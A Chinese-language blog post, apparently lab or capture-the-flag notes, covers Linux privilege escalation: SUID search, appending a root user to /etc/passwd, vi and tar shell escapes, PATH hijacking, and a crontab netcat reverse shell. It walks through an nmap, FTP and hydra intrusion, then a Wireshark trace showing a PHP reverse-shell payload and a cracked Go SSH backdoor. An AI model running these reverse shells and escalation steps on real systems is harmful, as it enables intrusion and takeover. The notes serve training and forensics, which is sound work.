linum 扫描系统上敏感存在的权限泄漏的文件

  • SUID FILE,每个用户都有权限进行执行
    user group others

    rwx rwx rwx

    421 421 421
    SUID:
    rws-rwx-rwx

  • GUID: 当前用户组都可以执行
    rwx-rws-rwx
    可以使用 find / -perm -u=s -type f 2>/dev/null 找到系统存在的SUID 可执行文件
  • /etc/passwd
    test:x:01:02:root:/root:/bin/bash
  • 冒号分割
    test: 用户名称
    x: 用户的密码,对应的hash 存储在/etc/shadow 文件
    01:用户id
    02:组id
    root:用户的介绍,注释
    /bin/bash:用户可执行shell路径

    /etc/passwd 创建一个用户

  • openssl passwd -1 -salt [salt] [password]"
例 openssl passwd -1 -salt new 123 # $1$new$p7ptkEKU1HnaHpRtzNizS1

按照格式 new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash 加入 /etc/passwd 的最后一行
现在你可以su new 进行切换用户了

VI 提权

可以 sudo -l 进行查看vi 是否有root权限,有的话可以进入 vi 后 输入 :!sh 进入root shell

Crontab 提权

如果存在crontab 任务,可以在被执行的脚本添加反弹shell

  • 生成反弹shell msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R

    echo "mkfifo /tmp/clhpaz; nc 192.168.1.1 8888 0</tmp/clhpaz | /bin/sh >/tmp/clhpaz 2>&1; rm /tmp/clhpaz" > crontab.sh
    

之后在192.168.1.1 开启监听 nc -lvnp 8888,等到corntab 执行的时候自动获取shell

PATH 环境变量提权

如果一个具有root的权限的脚本,之中执行了其他命令比如ls ,awk之类的,我们可以自己建一个同名的可执行文件

cd /tmp
touch ls
echo "/bin/bash" > ls
chmod +x ls
export PATH=/tmp:$PATH
这样当其他脚本调用了ls 命令时就能获得shell权限

实战1

export target_ip= 10.10.123.10

  • nmap扫描一波端口
    nmap -Pn target_ip
    发现ftp,ssh
  • ftp 匿名登录

    anonymous
    获取到两个文件一个 user.txt,password.txt
    user.txt 可获取用户lin ,password.txt 包含很多字符串
  • hydra 爆破ssh 密码

    hydra -l lin -p password.txt -t 4 -o ssh.log target_ip ssh
    爆破成功登录后,进行提权sudo -l测发现 /bin/tar suid执行程序,shell 程序搜索 tar 可获取相关shell脚本

    sudo tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"
    即可获取root权限

实战 wireshark抓包溯源

  • 分析wireshark 流量
    发现了http流量,点击右键跟随http 流量
    截屏2021-09-10 下午10.23.30.png
    逐个分析http 流量发现黑客使用文件上传漏洞上传php shell
    shell <?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
    之后跟随tcp 流量可以发现黑客写入ssh 后门
    截屏2021-09-10 下午10.27.46.png
  • 后门代码分析<>
    后门使用go 语言编写
    关键代码
    func passwordHandler(_ ssh.Context, password string) bool {
    return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
    }
    发现固定salt 1c362db832f3f864c8c2fe05f2002a05
  • 使用hashcat 爆破hash密码

    func hashPassword(password string, salt string) string {
    hash := sha512.Sum512([]byte(password + salt))
    return fmt.Sprintf("%x", hash)
    }

后门使用sha512算法,所以hashcat模式为

man hashcat |grep sha512

   1710 = sha512($pass.$salt)
   1720 = sha512($salt.$pass)
   1730 = sha512(unicode($pass).$salt)
   1740 = sha512($salt.unicode($pass))
   6500 = AIX {ssha512}

搜索sha512模式,对应code1710

hashcat -m 1710 -o result.txt hash.txt /usr/share/wordlists/rockyou.txt

爆破出密码 november16

  • 重新获取root shell
    使用获取到的密码ssh 连接后,sudo -l 发现没有可利用的程序,执行 find / -perm -u=s -type f 2>/dev/null 查找是否存在suid 文件,发现是存在.suid_bash,执行即可获取root shell
最后修改:2021 年 09 月 10 日
如果觉得我的文章对你有用,请随意赞赏